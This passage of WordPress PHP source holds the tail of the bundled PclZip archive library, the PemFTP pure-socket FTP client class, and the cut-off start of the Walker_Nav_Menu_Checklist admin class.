               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {

          // ----- Look if the index is in the list
          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) {

              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
                  $v_found = true;
              }
              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
                  $j_start = $j+1;
              }

              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
                  break;
              }
          }
      }
      else {
      	$v_found = true;
      }

      // ----- Look for deletion
      if ($v_found)
      {
        unset($v_header_list[$v_nb_extracted]);
      }
      else
      {
        $v_nb_extracted++;
      }
    }

    // ----- Look if something need to be deleted
    if ($v_nb_extracted > 0) {

        // ----- Creates a temporary file
        $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';

        // ----- Creates a temporary zip archive
        $v_temp_zip = new PclZip($v_zip_temp_name);

        // ----- Open the temporary zip file in write mode
        if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
            $this->privCloseFd();

            // ----- Return
            return $v_result;
        }

        // ----- Look which file need to be kept
        for ($i=0; $i<sizeof($v_header_list); $i++) {

            // ----- Calculate the position of the header
            @rewind($this->zip_fd);
            if (@fseek($this->zip_fd,  $v_header_list[$i]['offset'])) {
                // ----- Close the zip file
                $this->privCloseFd();
                $v_temp_zip->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Error log
                PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');

                // ----- Return
                return PclZip::errorCode();
            }

            // ----- Read the file header
            $v_local_header = array();
            if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
                // ----- Close the zip file
                $this->privCloseFd();
                $v_temp_zip->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Return
                return $v_result;
            }

            // ----- Check that local file header is same as central file header
            if ($this->privCheckFileHeaders($v_local_header,
			                                $v_header_list[$i]) != 1) {
                // TBC
            }
            unset($v_local_header);

            // ----- Write the file header
            if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
                // ----- Close the zip file
                $this->privCloseFd();
                $v_temp_zip->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Return
                return $v_result;
            }

            // ----- Read/write the data block
            if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
                // ----- Close the zip file
                $this->privCloseFd();
                $v_temp_zip->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Return
                return $v_result;
            }
        }

        // ----- Store the offset of the central dir
        $v_offset = @ftell($v_temp_zip->zip_fd);

        // ----- Re-Create the Central Dir files header
        for ($i=0; $i<sizeof($v_header_list); $i++) {
            // ----- Create the file header
            if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
                $v_temp_zip->privCloseFd();
                $this->privCloseFd();
                @unlink($v_zip_temp_name);

                // ----- Return
                return $v_result;
            }

            // ----- Transform the header to a 'usable' info
            $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
        }


        // ----- Zip file comment
        $v_comment = '';
        if (isset($p_options[PCLZIP_OPT_COMMENT])) {
          $v_comment = $p_options[PCLZIP_OPT_COMMENT];
        }

        // ----- Calculate the size of the central header
        $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset;

        // ----- Create the central dir footer
        if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
            // ----- Reset the file list
            unset($v_header_list);
            $v_temp_zip->privCloseFd();
            $this->privCloseFd();
            @unlink($v_zip_temp_name);

            // ----- Return
            return $v_result;
        }

        // ----- Close
        $v_temp_zip->privCloseFd();
        $this->privCloseFd();

        // ----- Delete the zip file
        // TBC : I should test the result ...
        @unlink($this->zipname);

        // ----- Rename the temporary file
        // TBC : I should test the result ...
        //@rename($v_zip_temp_name, $this->zipname);
        PclZipUtilRename($v_zip_temp_name, $this->zipname);

        // ----- Destroy the temporary archive
        unset($v_temp_zip);
    }

    // ----- Remove every files : reset the file
    else if ($v_central_dir['entries'] != 0) {
        $this->privCloseFd();

        if (($v_result = $this->privOpenFd('wb')) != 1) {
          return $v_result;
        }

        if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
          return $v_result;
        }

        $this->privCloseFd();
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privDirCheck()
  // Description :
  //   Check if a directory exists, if not it creates it and all the parents directory
  //   which may be useful.
  // Parameters :
  //   $p_dir : Directory path to check.
  // Return Values :
  //    1 : OK
  //   -1 : Unable to create directory
  // --------------------------------------------------------------------------------
  function privDirCheck($p_dir, $p_is_dir=false)
  {
    $v_result = 1;


    // ----- Remove the final '/'
    if (($p_is_dir) && (substr($p_dir, -1)=='/'))
    {
      $p_dir = substr($p_dir, 0, strlen($p_dir)-1);
    }

    // ----- Check the directory availability
    if ((is_dir($p_dir)) || ($p_dir == ""))
    {
      return 1;
    }

    // ----- Extract parent directory
    $p_parent_dir = dirname($p_dir);

    // ----- Just a check
    if ($p_parent_dir != $p_dir)
    {
      // ----- Look for parent directory
      if ($p_parent_dir != "")
      {
        if (($v_result = $this->privDirCheck($p_parent_dir)) != 1)
        {
          return $v_result;
        }
      }
    }

    // ----- Create the directory
    if (!@mkdir($p_dir, 0777))
    {
      // ----- Error log
      PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privMerge()
  // Description :
  //   If $p_archive_to_add does not exist, the function exit with a success result.
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privMerge(&$p_archive_to_add)
  {
    $v_result=1;

    // ----- Look if the archive_to_add exists
    if (!is_file($p_archive_to_add->zipname))
    {

      // ----- Nothing to merge, so merge is a success
      $v_result = 1;

      // ----- Return
      return $v_result;
    }

    // ----- Look if the archive exists
    if (!is_file($this->zipname))
    {

      // ----- Do a duplicate
      $v_result = $this->privDuplicate($p_archive_to_add->zipname);

      // ----- Return
      return $v_result;
    }

    // ----- Open the zip file
    if (($v_result=$this->privOpenFd('rb')) != 1)
    {
      // ----- Return
      return $v_result;
    }

    // ----- Read the central directory information
    $v_central_dir = array();
    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
    {
      $this->privCloseFd();
      return $v_result;
    }

    // ----- Go to beginning of File
    @rewind($this->zip_fd);

    // ----- Open the archive_to_add file
    if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1)
    {
      $this->privCloseFd();

      // ----- Return
      return $v_result;
    }

    // ----- Read the central directory information
    $v_central_dir_to_add = array();
    if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1)
    {
      $this->privCloseFd();
      $p_archive_to_add->privCloseFd();

      return $v_result;
    }

    // ----- Go to beginning of File
    @rewind($p_archive_to_add->zip_fd);

    // ----- Creates a temporary file
    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';

    // ----- Open the temporary file in write mode
    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
    {
      $this->privCloseFd();
      $p_archive_to_add->privCloseFd();

      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Copy the files from the archive to the temporary file
    // TBC : Here I should better append the file and go back to erase the central dir
    $v_size = $v_central_dir['offset'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = fread($this->zip_fd, $v_read_size);
      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Copy the files from the archive_to_add into the temporary file
    $v_size = $v_central_dir_to_add['offset'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size);
      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Store the offset of the central dir
    $v_offset = @ftell($v_zip_temp_fd);

    // ----- Copy the block of file headers from the old archive
    $v_size = $v_central_dir['size'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($this->zip_fd, $v_read_size);
      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Copy the block of file headers from the archive_to_add
    $v_size = $v_central_dir_to_add['size'];
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size);
      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Merge the file comments
    $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment'];

    // ----- Calculate the size of the (new) central header
    $v_size = @ftell($v_zip_temp_fd)-$v_offset;

    // ----- Swap the file descriptor
    // Here is a trick : I swap the temporary fd with the zip fd, in order to use
    // the following methods on the temporary fil and not the real archive fd
    $v_swap = $this->zip_fd;
    $this->zip_fd = $v_zip_temp_fd;
    $v_zip_temp_fd = $v_swap;

    // ----- Create the central dir footer
    if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1)
    {
      $this->privCloseFd();
      $p_archive_to_add->privCloseFd();
      @fclose($v_zip_temp_fd);
      $this->zip_fd = null;

      // ----- Reset the file list
      unset($v_header_list);

      // ----- Return
      return $v_result;
    }

    // ----- Swap back the file descriptor
    $v_swap = $this->zip_fd;
    $this->zip_fd = $v_zip_temp_fd;
    $v_zip_temp_fd = $v_swap;

    // ----- Close
    $this->privCloseFd();
    $p_archive_to_add->privCloseFd();

    // ----- Close the temporary file
    @fclose($v_zip_temp_fd);

    // ----- Delete the zip file
    // TBC : I should test the result ...
    @unlink($this->zipname);

    // ----- Rename the temporary file
    // TBC : I should test the result ...
    //@rename($v_zip_temp_name, $this->zipname);
    PclZipUtilRename($v_zip_temp_name, $this->zipname);

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privDuplicate()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privDuplicate($p_archive_filename)
  {
    $v_result=1;

    // ----- Look if the $p_archive_filename exists
    if (!is_file($p_archive_filename))
    {

      // ----- Nothing to duplicate, so duplicate is a success.
      $v_result = 1;

      // ----- Return
      return $v_result;
    }

    // ----- Open the zip file
    if (($v_result=$this->privOpenFd('wb')) != 1)
    {
      // ----- Return
      return $v_result;
    }

    // ----- Open the temporary file in write mode
    if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0)
    {
      $this->privCloseFd();

      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode');

      // ----- Return
      return PclZip::errorCode();
    }

    // ----- Copy the files from the archive to the temporary file
    // TBC : Here I should better append the file and go back to erase the central dir
    $v_size = filesize($p_archive_filename);
    while ($v_size != 0)
    {
      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
      $v_buffer = fread($v_zip_temp_fd, $v_read_size);
      @fwrite($this->zip_fd, $v_buffer, $v_read_size);
      $v_size -= $v_read_size;
    }

    // ----- Close
    $this->privCloseFd();

    // ----- Close the temporary file
    @fclose($v_zip_temp_fd);

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privErrorLog()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function privErrorLog($p_error_code=0, $p_error_string='')
  {
    if (PCLZIP_ERROR_EXTERNAL == 1) {
      PclError($p_error_code, $p_error_string);
    }
    else {
      $this->error_code = $p_error_code;
      $this->error_string = $p_error_string;
    }
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privErrorReset()
  // Description :
  // Parameters :
  // --------------------------------------------------------------------------------
  function privErrorReset()
  {
    if (PCLZIP_ERROR_EXTERNAL == 1) {
      PclErrorReset();
    }
    else {
      $this->error_code = 0;
      $this->error_string = '';
    }
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privDisableMagicQuotes()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privDisableMagicQuotes()
  {
    $v_result=1;

	// EDIT for WordPress 5.3.0
	// magic_quote functions are deprecated in PHP 7.4, now assuming it's always off.
	/*

    // ----- Look if function exists
    if (   (!function_exists("get_magic_quotes_runtime"))
	    || (!function_exists("set_magic_quotes_runtime"))) {
      return $v_result;
	}

    // ----- Look if already done
    if ($this->magic_quotes_status != -1) {
      return $v_result;
	}

	// ----- Get and memorize the magic_quote value
	$this->magic_quotes_status = @get_magic_quotes_runtime();

	// ----- Disable magic_quotes
	if ($this->magic_quotes_status == 1) {
	  @set_magic_quotes_runtime(0);
	}
	*/

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : privSwapBackMagicQuotes()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function privSwapBackMagicQuotes()
  {
    $v_result=1;

	// EDIT for WordPress 5.3.0
	// magic_quote functions are deprecated in PHP 7.4, now assuming it's always off.
	/*

    // ----- Look if function exists
    if (   (!function_exists("get_magic_quotes_runtime"))
	    || (!function_exists("set_magic_quotes_runtime"))) {
      return $v_result;
	}

    // ----- Look if something to do
    if ($this->magic_quotes_status != -1) {
      return $v_result;
	}

	// ----- Swap back magic_quotes
	if ($this->magic_quotes_status == 1) {
  	  @set_magic_quotes_runtime($this->magic_quotes_status);
	}

	*/
    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  }
  // End of class
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilPathReduction()
  // Description :
  // Parameters :
  // Return Values :
  // --------------------------------------------------------------------------------
  function PclZipUtilPathReduction($p_dir)
  {
    $v_result = "";

    // ----- Look for not empty path
    if ($p_dir != "") {
      // ----- Explode path by directory names
      $v_list = explode("/", $p_dir);

      // ----- Study directories from last to first
      $v_skip = 0;
      for ($i=sizeof($v_list)-1; $i>=0; $i--) {
        // ----- Look for current path
        if ($v_list[$i] == ".") {
          // ----- Ignore this directory
          // Should be the first $i=0, but no check is done
        }
        else if ($v_list[$i] == "..") {
		  $v_skip++;
        }
        else if ($v_list[$i] == "") {
		  // ----- First '/' i.e. root slash
		  if ($i == 0) {
            $v_result = "/".$v_result;
		    if ($v_skip > 0) {
		        // ----- It is an invalid path, so the path is not modified
		        // TBC
		        $v_result = $p_dir;
                $v_skip = 0;
		    }
		  }
		  // ----- Last '/' i.e. indicates a directory
		  else if ($i == (sizeof($v_list)-1)) {
            $v_result = $v_list[$i];
		  }
		  // ----- Double '/' inside the path
		  else {
            // ----- Ignore only the double '//' in path,
            // but not the first and last '/'
		  }
        }
        else {
		  // ----- Look for item to skip
		  if ($v_skip > 0) {
		    $v_skip--;
		  }
		  else {
            $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:"");
		  }
        }
      }

      // ----- Look for skip
      if ($v_skip > 0) {
        while ($v_skip > 0) {
            $v_result = '../'.$v_result;
            $v_skip--;
        }
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilPathInclusion()
  // Description :
  //   This function indicates if the path $p_path is under the $p_dir tree. Or,
  //   said in an other way, if the file or sub-dir $p_path is inside the dir
  //   $p_dir.
  //   The function indicates also if the path is exactly the same as the dir.
  //   This function supports path with duplicated '/' like '//', but does not
  //   support '.' or '..' statements.
  // Parameters :
  // Return Values :
  //   0 if $p_path is not inside directory $p_dir
  //   1 if $p_path is inside directory $p_dir
  //   2 if $p_path is exactly the same as $p_dir
  // --------------------------------------------------------------------------------
  function PclZipUtilPathInclusion($p_dir, $p_path)
  {
    $v_result = 1;

    // ----- Look for path beginning by ./
    if (   ($p_dir == '.')
        || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) {
      $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1);
    }
    if (   ($p_path == '.')
        || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) {
      $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1);
    }

    // ----- Explode dir and path by directory separator
    $v_list_dir = explode("/", $p_dir);
    $v_list_dir_size = sizeof($v_list_dir);
    $v_list_path = explode("/", $p_path);
    $v_list_path_size = sizeof($v_list_path);

    // ----- Study directories paths
    $i = 0;
    $j = 0;
    while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) {

      // ----- Look for empty dir (path reduction)
      if ($v_list_dir[$i] == '') {
        $i++;
        continue;
      }
      if ($v_list_path[$j] == '') {
        $j++;
        continue;
      }

      // ----- Compare the items
      if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != ''))  {
        $v_result = 0;
      }

      // ----- Next items
      $i++;
      $j++;
    }

    // ----- Look if everything seems to be the same
    if ($v_result) {
      // ----- Skip all the empty items
      while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++;
      while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++;

      if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) {
        // ----- There are exactly the same
        $v_result = 2;
      }
      else if ($i < $v_list_dir_size) {
        // ----- The path is shorter than the dir
        $v_result = 0;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilCopyBlock()
  // Description :
  // Parameters :
  //   $p_mode : read/write compression mode
  //             0 : src & dest normal
  //             1 : src gzip, dest normal
  //             2 : src normal, dest gzip
  //             3 : src & dest gzip
  // Return Values :
  // --------------------------------------------------------------------------------
  function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0)
  {
    $v_result = 1;

    if ($p_mode==0)
    {
      while ($p_size != 0)
      {
        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
        $v_buffer = @fread($p_src, $v_read_size);
        @fwrite($p_dest, $v_buffer, $v_read_size);
        $p_size -= $v_read_size;
      }
    }
    else if ($p_mode==1)
    {
      while ($p_size != 0)
      {
        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
        $v_buffer = @gzread($p_src, $v_read_size);
        @fwrite($p_dest, $v_buffer, $v_read_size);
        $p_size -= $v_read_size;
      }
    }
    else if ($p_mode==2)
    {
      while ($p_size != 0)
      {
        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
        $v_buffer = @fread($p_src, $v_read_size);
        @gzwrite($p_dest, $v_buffer, $v_read_size);
        $p_size -= $v_read_size;
      }
    }
    else if ($p_mode==3)
    {
      while ($p_size != 0)
      {
        $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE);
        $v_buffer = @gzread($p_src, $v_read_size);
        @gzwrite($p_dest, $v_buffer, $v_read_size);
        $p_size -= $v_read_size;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilRename()
  // Description :
  //   This function tries to do a simple rename() function. If it fails, it
  //   tries to copy the $p_src file in a new $p_dest file and then unlink the
  //   first one.
  // Parameters :
  //   $p_src : Old filename
  //   $p_dest : New filename
  // Return Values :
  //   1 on success, 0 on failure.
  // --------------------------------------------------------------------------------
  function PclZipUtilRename($p_src, $p_dest)
  {
    $v_result = 1;

    // ----- Try to rename the files
    if (!@rename($p_src, $p_dest)) {

      // ----- Try to copy & unlink the src
      if (!@copy($p_src, $p_dest)) {
        $v_result = 0;
      }
      else if (!@unlink($p_src)) {
        $v_result = 0;
      }
    }

    // ----- Return
    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilOptionText()
  // Description :
  //   Translate option value in text. Mainly for debug purpose.
  // Parameters :
  //   $p_option : the option value.
  // Return Values :
  //   The option text value.
  // --------------------------------------------------------------------------------
  function PclZipUtilOptionText($p_option)
  {

    $v_list = get_defined_constants();
    for (reset($v_list); $v_key = key($v_list); next($v_list)) {
	    $v_prefix = substr($v_key, 0, 10);
	    if ((   ($v_prefix == 'PCLZIP_OPT')
           || ($v_prefix == 'PCLZIP_CB_')
           || ($v_prefix == 'PCLZIP_ATT'))
	        && ($v_list[$v_key] == $p_option)) {
        return $v_key;
	    }
    }

    $v_result = 'Unknown';

    return $v_result;
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function : PclZipUtilTranslateWinPath()
  // Description :
  //   Translate windows path by replacing '\' by '/' and optionally removing
  //   drive letter.
  // Parameters :
  //   $p_path : path to translate.
  //   $p_remove_disk_letter : true | false
  // Return Values :
  //   The path translated.
  // --------------------------------------------------------------------------------
  function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true)
  {
    if (stristr(php_uname(), 'windows')) {
      // ----- Look for potential disk letter
      if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) {
          $p_path = substr($p_path, $v_position+1);
      }
      // ----- Change potential windows directory separator
      if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) {
          $p_path = strtr($p_path, '\\', '/');
      }
    }
    return $p_path;
  }
  // --------------------------------------------------------------------------------


?>
<?php
/**
 * PemFTP - An Ftp implementation in pure PHP
 *
 * @package PemFTP
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */

/**
 * FTP implementation using fsockopen to connect.
 *
 * @package PemFTP
 * @subpackage Pure
 * @since 2.5.0
 *
 * @version 1.0
 * @copyright Alexey Dotsenko
 * @author Alexey Dotsenko
 * @link https://www.phpclasses.org/package/1743-PHP-FTP-client-in-pure-PHP.html
 * @license LGPL https://opensource.org/licenses/lgpl-license.html
 */
class ftp_pure extends ftp_base {

	function __construct($verb=FALSE, $le=FALSE) {
		parent::__construct(false, $verb, $le);
	}

// <!-- --------------------------------------------------------------------------------------- -->
// <!--       Private functions                                                                 -->
// <!-- --------------------------------------------------------------------------------------- -->

	function _settimeout($sock) {
		if(!@stream_set_timeout($sock, $this->_timeout)) {
			$this->PushError('_settimeout','socket set send timeout');
			$this->_quit();
			return FALSE;
		}
		return TRUE;
	}

	function _connect($host, $port) {
		$this->SendMSG("Creating socket");
		$sock = @fsockopen($host, $port, $errno, $errstr, $this->_timeout);
		if (!$sock) {
			$this->PushError('_connect','socket connect failed', $errstr." (".$errno.")");
			return FALSE;
		}
		$this->_connected=true;
		return $sock;
	}

	function _readmsg($fnction="_readmsg"){
		if(!$this->_connected) {
			$this->PushError($fnction, 'Connect first');
			return FALSE;
		}
		$result=true;
		$this->_message="";
		$this->_code=0;
		$go=true;
		do {
			$tmp=@fgets($this->_ftp_control_sock, 512);
			if($tmp===false) {
				$go=$result=false;
				$this->PushError($fnction,'Read failed');
			} else {
				$this->_message.=$tmp;
				if(preg_match("/^([0-9]{3})(-(.*[".CRLF."]{1,2})+\\1)? [^".CRLF."]+[".CRLF."]{1,2}$/", $this->_message, $regs)) $go=false;
			}
		} while($go);
		if($this->LocalEcho) echo "GET < ".rtrim($this->_message, CRLF).CRLF;
		$this->_code=(int)$regs[1];
		return $result;
	}

	function _exec($cmd, $fnction="_exec") {
		if(!$this->_ready) {
			$this->PushError($fnction,'Connect first');
			return FALSE;
		}
		if($this->LocalEcho) echo "PUT > ",$cmd,CRLF;
		$status=@fputs($this->_ftp_control_sock, $cmd.CRLF);
		if($status===false) {
			$this->PushError($fnction,'socket write failed');
			return FALSE;
		}
		$this->_lastaction=time();
		if(!$this->_readmsg($fnction)) return FALSE;
		return TRUE;
	}

	function _data_prepare($mode=FTP_ASCII) {
		if(!$this->_settype($mode)) return FALSE;
		if($this->_passive) {
			if(!$this->_exec("PASV", "pasv")) {
				$this->_data_close();
				return FALSE;
			}
			if(!$this->_checkCode()) {
				$this->_data_close();
				return FALSE;
			}
			$ip_port = explode(",", preg_replace("/^.+ \\(?([0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]{1,3},[0-9]+,[0-9]+)\\)?.*$/s", "\\1", $this->_message));
			$this->_datahost=$ip_port[0].".".$ip_port[1].".".$ip_port[2].".".$ip_port[3];
            $this->_dataport=(((int)$ip_port[4])<<8) + ((int)$ip_port[5]);
			$this->SendMSG("Connecting to ".$this->_datahost.":".$this->_dataport);
			$this->_ftp_data_sock=@fsockopen($this->_datahost, $this->_dataport, $errno, $errstr, $this->_timeout);
			if(!$this->_ftp_data_sock) {
				$this->PushError("_data_prepare","fsockopen fails", $errstr." (".$errno.")");
				$this->_data_close();
				return FALSE;
			}
			else $this->_ftp_data_sock;
		} else {
			$this->SendMSG("Only passive connections available!");
			return FALSE;
		}
		return TRUE;
	}

	function _data_read($mode=FTP_ASCII, $fp=NULL) {
		if(is_resource($fp)) $out=0;
		else $out="";
		if(!$this->_passive) {
			$this->SendMSG("Only passive connections available!");
			return FALSE;
		}
		while (!feof($this->_ftp_data_sock)) {
			$block=fread($this->_ftp_data_sock, $this->_ftp_buff_size);
			if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_local], $block);
			if(is_resource($fp)) $out+=fwrite($fp, $block, strlen($block));
			else $out.=$block;
		}
		return $out;
	}

	function _data_write($mode=FTP_ASCII, $fp=NULL) {
		if(is_resource($fp)) $out=0;
		else $out="";
		if(!$this->_passive) {
			$this->SendMSG("Only passive connections available!");
			return FALSE;
		}
		if(is_resource($fp)) {
			while(!feof($fp)) {
				$block=fread($fp, $this->_ftp_buff_size);
				if(!$this->_data_write_block($mode, $block)) return false;
			}
		} elseif(!$this->_data_write_block($mode, $fp)) return false;
		return TRUE;
	}

	function _data_write_block($mode, $block) {
		if($mode!=FTP_BINARY) $block=preg_replace("/\r\n|\r|\n/", $this->_eol_code[$this->OS_remote], $block);
		do {
			if(($t=@fwrite($this->_ftp_data_sock, $block))===FALSE) {
				$this->PushError("_data_write","Can't write to socket");
				return FALSE;
			}
			$block=substr($block, $t);
		} while(!empty($block));
		return true;
	}

	function _data_close() {
		@fclose($this->_ftp_data_sock);
		$this->SendMSG("Disconnected data from remote host");
		return TRUE;
	}

	function _quit($force=FALSE) {
		if($this->_connected or $force) {
			@fclose($this->_ftp_control_sock);
			$this->_connected=false;
			$this->SendMSG("Socket closed");
		}
	}
}

?>
<?php
/**
 * Navigation Menu API: Walker_Nav_Menu_Checklist class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.4.0
 */

/**
 * Create HTML list of nav menu input items.
 *
 * @since 3.0.0
 * @uses Walker_Nav_Menu
 */
class Walker_Nav_Menu_Checklist extends Walker_Nav_Menu {
	/**
	 * @param array|false $fields Database fields to use.
	 */
	public function __construct( $fields = false ) {
		if ( $fields ) {
			$this->db_fields = $fields;
		}
	}

	/**
	 * Starts the list before the elements are added.
	 *
	 * @see Walker_Nav_Menu::start_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param int      $depth  Depth of page. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function start_lvl( &$output, $depth = 0, $args = null ) {
		$indent  = str_repeat( "\t", $depth );
		$output .= "\n$indent<ul class='children'>\n";
	}

	/**
	 * Ends the list of after the elements are added.
	 *
	 * @see Walker_Nav_Menu::end_lvl()
	 *
	 * @since 3.0.0
	 *
	 * @param string   $output Used to append additional content (passed by reference).
	 * @param int      $depth  Depth of page. Used for padding.
	 * @param stdClass $args   Not used.
	 */
	public function end_lvl( &$output, $depth = 0, $args = null ) {
		$indent  = str_repeat( "\t", $depth );
		$output .= "\n$indent</ul>";
	}

	/**
	 * Start the element output.
	 *
	 * @see Walker_Nav_Menu::start_el()
	 *
	 * @since 3.0.0
	 * @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @global int        $_nav_menu_placeholder
	 * @global int|string $nav_menu_selected_id
	 *
	 * @param string   $output            Used to append additional content (passed by reference).
